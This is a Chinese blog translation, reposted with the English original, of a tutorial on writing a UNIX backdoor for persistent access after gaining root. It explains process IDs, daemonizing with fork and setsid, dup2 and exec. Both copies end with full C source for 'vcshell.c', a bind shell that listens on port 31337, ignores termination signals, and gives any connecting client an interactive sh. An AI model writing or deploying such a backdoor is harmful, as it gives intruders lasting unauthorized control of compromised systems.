翻譯作品之七Coding an Inbound Shell Daemon rev. 1.0

翻譯作品之七Coding an Inbound Shell Daemon rev. 1.0


一.前言:

   本人翻譯系列文章,很擔心裏面出錯的地方會誤人,不過心裏還是有去做一做的,我是通過自己的理解來翻譯的,如果我的理解錯誤了,或許是我不理解的部分也不經意翻譯了,那必然會給各位多多少少的誤導,所以我在文章後面都附上原文。請想看對照原文來閱讀!最主要是自己去理解,不要單看我一家之言。


二.正文:


]先決條件:
        這篇論文假定讀者已經閱讀和理解turncode 安全開發的論文:Coding a TCP Connect Port Scanner: Step by Step written by modular 或者已經有了套接字編程的基礎.

讀者同樣應該自然地擁有基礎的c編程技術.

]介紹:
     在危及一個運行unix系統安全之後和獲得root,一個熟練的攻擊者將會創建一個後門爲將來的進入.這篇論文詳細闡明編寫一個後門通過分解一個必要的一個入站後門的rootshell代碼.編寫一個後門後臺shell是一個容易的過程.這個程序自身是通常不多於100行.它可能開始去增加當新的函數被增加,例如加密,系統確定,和錯誤控制.


] 處理認證:
   一個進程基本上是一個運行的程序,這個運行的程序有一些基本的屬性值得注意:
   1.一個程序擁有當前執行的一個衆所周知的當前的上下環境的狀態.
   2.存取文件和目錄的權限
   3.內存和系統資源
   4.當前的工作目錄
 
  每個進程有一個進程id和一個父進程id.進程id用實際整數來標示.所有進程的父進程有一個進程號就是1.這是衆所周知的init進程,系統從核心啓動後,init啓動任何必要的系統程序和後臺程序.當編寫一個後臺程序時,理解進程ids是怎樣工作在父和子進程之間是重要的.

   打印一個進程號,對於一個父和子進程需要的函數是getpid() and getppid().雖然,這些函數是不必對於這篇論文最後的程序,但是它會幫助進一步闡明ids進程是怎樣工作的,getpid()和 getppid()的原型如下:
---------------------------------------------------------------------------
#include

        pid_t getpid(void);
 pid_t getppid(void);

---------------------------------------------------------------------------
  
    對於getpid() 和getppid() 原型, unistd.h 頭文件是必要的.getpid()返回調用的進程和getppid() 那進程的父進程 象這樣:
------------------------------------------------------------------------
#include
#include
#include

int main(void)
{
      
       printf("%d/n", getpid());
       printf("%d/n", getppid());

       return 0;
}

------------------------------------------------------------------------

]父/子進程:

      -進程組
   
     根據早期規定,每個進程有一個進程id.進程能被用一個命令管道來連接,想這樣:
modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk
 '{print $2}' |xargs kill -9

   一個相關進程組是提供一個進程組id.爲了一次殺死所有這些相關進程,腳本必須能結束組id而不是每個進程id.

     -會話
  
    一個相關進程組的系列衆所周知是一個會話,會話的領袖是一個會話的發明者.
會話領袖擁有一個進程id.一個會話將會被用做例子,當很多後臺程序運行在一個終端和一個終端被關閉,隨後將殺死所有的後臺進程.

   -父/子進程

    程序能被寫下來增加新的進程從他們自己.這原始的進程是衆所周知的一個父進程和任何新的被調用的子進程的進程.爲了增加新的進程fork(2)要用到,fork(2)的原型可能是:
---------------------------------------------------------------------------
#include

       pid_t fork(void);
---------------------------------------------------------------------------
   當fork(2) 調用成功,它會返回一個屬於父進程的子進程id.成功返回值是0.


]unix 後臺程序

     一個後臺進程是一個程序不再連接到一個開始它的原始終端會話.爲了使一個程序變成一個後臺程序,需要幾個步驟:

      1.fork(2)函數被用來殺死父進程,離開原始命令行或者shell成爲子進程控制.這個保證子進程不會成爲一個組會話引導者.

      2.setsid(2)函數被用來產生子進程和組會話引導者.在這點上,子進程已經從任何控制的終端分離出自己.

      一個基本的後臺程序的例子可能如下:
------------------------------------------------------------------------------
int main(void)
{
 pid_t pid;

 if ( (pid = fork()) < 0)
  return(-1);
 else if (pid != 0)
  exit(0); /* parent gets killed here */

 /* child process continues on from this point 
  * setsid(2) makes the child a session leader
  * without a controlling terminal
  */
 setsid();

 /* rest of source code to perform tasks in the background */

}
------------------------------------------------------------------------------

]複製套接字:

      dup2(2)函數複製一個文件描述符.使得一個shell成爲後臺程序後,要調用dup2(2)
三次爲了複製套接字的描述符0,1,2.描述符0,1,2分別是標準輸入,標準輸出和標準錯誤.那時原始套接字描述符需要關閉.這個允許這個子進程處理套接字方面.用標準輸入(0),標準輸出(1),標準錯誤(2).


]exec 函數:

fork(2),正如以前的規定,創建一個完全的新進程,產生一個完全的新pid. exec函數允許一個程序員發起一個程序,這個替代原始的進程;pid保留和原始進程同等的資源。

exec函數傳統上用在後門來產生一個shell通過調用/bin/sh.


在以下的例子,execlp(3) 被用來執行sh命令.替代原始shell用一個新的shell並保持相同的pid:

------------------------------------------------------------------------------
#include
#include
#include


int main(void)
{
    char args[] = {"/bin/sh", "-i"}; /* arguments for sh */

    if(execlp("/bin/sh", args, NULL) == -1)
    {
        perror("execlp");
        exit(EXIT_FAILURE);
    }

    printf("How did we get here?");
    exit(EXIT_SUCCESS);
}
------------------------------------------------------------------------------

execlp(3)取得路徑名bin/sh作爲它的第一個參數,以下的列表參數,隨後是參數列表,最後用null終止.


]入站shell後臺例子:

   以下的程序是一個可工作的簡單後門的運行做爲一個後臺的例子:

/* vcshell.c - remote daemon shell
 * written by: [email protected]  
 */
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define PORT 31337 /* port to bind to */

/* ERROR CHECKING */

static void recoil(const char *help) {
    if ( errno != 0 ) {
 fputs(strerror(errno),stderr); fputs(": ", stderr);
    } fputs(help, stderr); fputc('/n', stderr); exit(1);
}


int main (int argc, char *argv[]) {
 int socket_listen, socket_connect;
 /* server and client file descriptors */
 struct sockaddr_in server_addr;
 struct sockaddr_in client_addr;

 socklen_t length; pid_t chpid;


   if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 recoil("socket()"); return(1);
   }

   length = sizeof(server_addr);
   memset(&server_addr, 0, length);
   server_addr.sin_addr.s_addr = INADDR_ANY;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port = htons(PORT);

   /* ignore all events that would kill the process */
   signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);
   signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);

   if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {
 recoil("bind()"); return(2);
   } if(listen(socket_listen, 1)) {
 recoil("listen()"); return(3);
   }

   /* fork() into two processes: */


   if ( ( chpid = fork()) == (pid_t)-1 ) {
 recoil("fork()"); return(4);
   } else if (chpid > 0) {
       exit(EXIT_SUCCESS); /* kill the parent */
   }

   else if ( chpid == 0) {

 

 setsid(); /* create a new session and make a daemon
      making the child a session leader */


 length = sizeof(client_addr); if(( socket_connect =
 accept(socket_listen, &client_addr, &length)) < 0) {
  recoil("accept()"); abort();
 }


 /* duplicate file descriptors to refer to original socket */
 /* new descriptors gives the capability for user interaction
 */
 dup2(socket_connect,0);
 dup2(socket_connect,1);
 dup2(socket_connect,2);


 execlp("sh", "sh", "-i", NULL);

 /* shutdown existing socket and
         * duplicated sockets together
  */
 shutdown(socket_connect,SHUT_RDWR);
          
   }
 exit(0);

}
------------------------------------------------------------------------------


三.原文:

Coding an Inbound Shell Daemon 
rev. 1.0
 _                         _
| |_ ___ _ _ ___ ___ ___ _| |___
|  _|  _| | |   |  _| . | . | -_|
|_| |_| |___|_|_|___|___|___|___|

/* truncode security development */
http://truncode.org
<[email protected]>

] Prerequisite:
 This paper assumes the reader to have already read and understood
the truncode security development paper: Coding a TCP Connect Port Scanner:
Step by Step written by modular or have basic knowledge of socket programming.
The reader should also naturally possess basic C programming skills.

] Introduction:
 After compromising a system running UNIX and attaining root, a
skilled attacker will create a backdoor for future logins. This paper
elaborates on coding a backdoor by breaking down the necessary code for an
inbound daemon rootshell. Coding a backdoor daemon shell is a relatively
easy process. The program itself is usually no more than one hundred
lines. It may begin to grow when new functionalities are added such as
encryption, OS definitions, and error control.


] Process Identification:
 A process is basically a running program. A running program has a few
basic attributes worth mentioning:

 1. A program possesses a current execution status known as
 it's current context

 2. Access rights to directories and files

 3. Memory and system resources

 4. Current working directory

 Each process has a process ID and a parent process ID. Process IDs
are referred to by using positive integers. The father of all processes
has a process ID of 1. This is known as the init process. After a system
boots from the kernel, init starts up any necessary system programs and
daemons. It is important to understand how process IDs work with parent
and child processes when coding a daemon.

 Printing a process ID for parent and child requires functions
getpid() and getppid(). Although, these functions are not needed for this
paper's final program, it will help further clarify how process IDs work.
The synopsis for getpid() and getppid() is as follows:
------------------------------------------------------------------------------
#include

        pid_t getpid(void);
 pid_t getppid(void);

------------------------------------------------------------------------------

 The unistd.h header file is needed by the getpid() and getppid()
prototypes. getpid() returns the calling process and getppid() the parent of
that process like so:
------------------------------------------------------------------------------
#include
#include
#include

int main(void)
{
      
       printf("%d/n", getpid());
       printf("%d/n", getppid());

       return 0;
}

------------------------------------------------------------------------------
] Parent/Child Processes:

 -Process Groups

 As stated earlier each process has a process ID. Processes can be
connected in a command pipeline like so:

 modular@visioncode:~/src$ ps -aux |grep -v grep |grep user |awk
 '{print $2}' |xargs kill -9

 A group of related processes are given a process group ID. In
order to kill all these related processes at once, the shell must
terminate the group ID rather than every process ID.

 -Sessions

 A set of related process groups are known as a session. The
session leader is the originator of the session. This session leader
possesses a session ID. A session would be used for example when many
background processes are running in a terminal and the terminal is killed;
subsequently killing all background processes.

 -Parent/child processes

 Programs can be written to create new processes from within
themselves. The original process is known as the parent and any new
processes are called child processes. In order to create a new process
fork(2) must be used. The synopsis for fork(2) is:
------------------------------------------------------------------------------
#include

       pid_t fork(void);
------------------------------------------------------------------------------
 When fork(2) is successful, it will return the process ID of
the child process to the parent process. 0 is returned to the child process.

] UNIX Daemons:

 A daemon process is a program no longer attached to the original
terminal session that started it. There are a few basic steps in order to
turn a program into a daemon process:

 1. The fork(2) function is used to kill the parent process,
 leaving the child control of the original command-line or
 shell. This guarantees the child not to be a group session leader.

 2. The setsid(2) function is used to make the child process a
 process and group session leader. The child has disassociated
 itself from any controlling terminal at this point.

 A basic example of a daemon might be as follows:

------------------------------------------------------------------------------
int main(void)
{
 pid_t pid;

 if ( (pid = fork()) < 0)
  return(-1);
 else if (pid != 0)
  exit(0); /* parent gets killed here */

 /* child process continues on from this point 
  * setsid(2) makes the child a session leader
  * without a controlling terminal
  */
 setsid();

 /* rest of source code to perform tasks in the background */

}
------------------------------------------------------------------------------
] Duplicating Sockets:

 The dup2(2) function duplicates a file descriptor. After making
the shell into a daemon, it is necessary to have the child process call
dup2(2) three times in order to duplicate the socket on descriptors 0, 1,
2. Descriptors 0, 1, and 2 are standard input, standard output, and
standard error respectively. Then the original socket descriptor needs to
be closed. This allows the child to use standard input ( 0 ), standard
output (1), and standard error (2) with the socket.


] exec functions:

fork(2), as previously stated, creates a completely new process,
generating a completely new PID. The exec functions allow a programmer to
initiate a program, which replaces the original process; the PID stays the
same. An exec function is traditionally used in a backdoor to spawn a
shell by calling /bin/sh.

In the following example, execlp(3) is used to execute the sh command,
replacing the original shell with a new shell while keeping the same PID:
------------------------------------------------------------------------------
#include
#include
#include


int main(void)
{
    char args[] = {"/bin/sh", "-i"}; /* arguments for sh */

    if(execlp("/bin/sh", args, NULL) == -1)
    {
        perror("execlp");
        exit(EXIT_FAILURE);
    }

    printf("How did we get here?");
    exit(EXIT_SUCCESS);
}
------------------------------------------------------------------------------

execlp(3) takes the pathname to bin/sh as its first argument, followed by
the a list of arguments, and finally terminated with a NULL.


] Inbound Shell Daemon Example:

 The following program is a working example of a simple backdoor
which runs as a daemon:


/* vcshell.c - remote daemon shell
 * written by: [email protected]  
 */
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define PORT 31337 /* port to bind to */

/* ERROR CHECKING */

static void recoil(const char *help) {
    if ( errno != 0 ) {
 fputs(strerror(errno),stderr); fputs(": ", stderr);
    } fputs(help, stderr); fputc('/n', stderr); exit(1);
}


int main (int argc, char *argv[]) {
 int socket_listen, socket_connect;
 /* server and client file descriptors */
 struct sockaddr_in server_addr;
 struct sockaddr_in client_addr;

 socklen_t length; pid_t chpid;


   if(( socket_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 recoil("socket()"); return(1);
   }

   length = sizeof(server_addr);
   memset(&server_addr, 0, length);
   server_addr.sin_addr.s_addr = INADDR_ANY;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port = htons(PORT);

   /* ignore all events that would kill the process */
   signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN);
   signal(SIGTERM,SIG_IGN); signal(SIGINT, SIG_IGN);

   if((bind( socket_listen, (struct sockaddr *)&server_addr, length))) {
 recoil("bind()"); return(2);
   } if(listen(socket_listen, 1)) {
 recoil("listen()"); return(3);
   }

   /* fork() into two processes: */


   if ( ( chpid = fork()) == (pid_t)-1 ) {
 recoil("fork()"); return(4);
   } else if (chpid > 0) {
       exit(EXIT_SUCCESS); /* kill the parent */
   }

   else if ( chpid == 0) {

 

 setsid(); /* create a new session and make a daemon
      making the child a session leader */


 length = sizeof(client_addr); if(( socket_connect =
 accept(socket_listen, &client_addr, &length)) < 0) {
  recoil("accept()"); abort();
 }


 /* duplicate file descriptors to refer to original socket */
 /* new descriptors gives the capability for user interaction
 */
 dup2(socket_connect,0);
 dup2(socket_connect,1);
 dup2(socket_connect,2);


 execlp("sh", "sh", "-i", NULL);

 /* shutdown existing socket and
         * duplicated sockets together
  */
 shutdown(socket_connect,SHUT_RDWR);
          
   }
 exit(0);

}
------------------------------------------------------------------------------

發佈了37 篇原創文章 · 獲贊 1 · 訪問量 11萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章